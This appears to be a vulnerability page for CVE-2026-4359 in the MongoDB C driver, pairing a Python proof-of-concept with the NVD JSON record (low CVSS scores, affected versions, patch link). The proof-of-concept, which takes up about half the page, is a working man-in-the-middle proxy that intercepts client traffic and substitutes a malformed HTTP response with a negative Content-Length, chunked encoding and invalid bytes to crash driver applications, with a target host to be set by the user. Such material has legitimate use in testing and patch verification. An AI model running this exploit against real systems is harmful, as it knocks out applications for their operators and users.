CVE-2026-4359

#!/usr/bin/env python3 """ CVE-2026-4359 PoC - MongoDB C Driver Malformed HTTP Response DoS Note: This PoC demonstrates the concept of sending malformed HTTP responses. Actual exploitation requires MITM position or compromised third-party server. """ import socket import threading import time def handle_client(client_socket, target_host, target_port): """Forward traffic to target and inject malformed HTTP response""" try: # Connect to actual MongoDB or target service target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) # Receive initial request request = client_socket.recv(4096) if request: # Forward request to target target_socket.sendall(request) # Receive response from target response = target_socket.recv(4096) # Inject malformed HTTP response to trigger crash malformed_response = ( b"HTTP/1.1 200 OK\r\n" b"Content-Length: -1\r\n" # Negative content length b"Transfer-Encoding: chunked\r\n" b"\r\n" b"\x00\x00\x00\x00\x00\x00\x00\x00" # Null bytes b"\xff\xfe\xfd\xfc" # Invalid chunk data ) # Send malformed response to client client_socket.sendall(malformed_response) target_socket.close() except Exception as e: print(f"Error: {e}") finally: client_socket.close() def start_mitm_proxy(listen_port, target_host, target_port): """Start MITM proxy server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"MITM Proxy listening on port {listen_port}") while True: client_socket, addr = server.accept() print(f"Connection from {addr}") client_handler = threading.Thread( target=handle_client, args=(client_socket, target_host, target_port) ) client_handler.start() if __name__ == "__main__": # Configuration - modify as needed LISTEN_PORT = 8080 TARGET_HOST = "mongodb.example.com" TARGET_PORT = 27017 start_mitm_proxy(LISTEN_PORT, TARGET_HOST, TARGET_PORT)

{"cve": {"id": "CVE-2026-4359", "sourceIdentifier": "[email protected]", "published": "2026-03-17T20:16:15.233", "lastModified": "2026-04-02T12:34:29.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A compromised third party cloud server or man-in-the-middle attacker could send a malformed HTTP response and cause a crash in applications using the MongoDB C driver."}, {"lang": "es", "value": "Un servidor en la nube de terceros comprometido o un atacante man-in-the-middle podría enviar una respuesta HTTP malformada y causar un fallo en las aplicaciones que utilizan el controlador C de MongoDB."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionEndExcluding": "1.30.8", "matchCriteriaId": "984230F1-B7E8-4330-B20A-A6876ABAF358"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.2.3", "matchCriteriaId": "94E8E033-45FC-4ED4-8B6D-DC24B77F8406"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/CDRIVER-6251", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}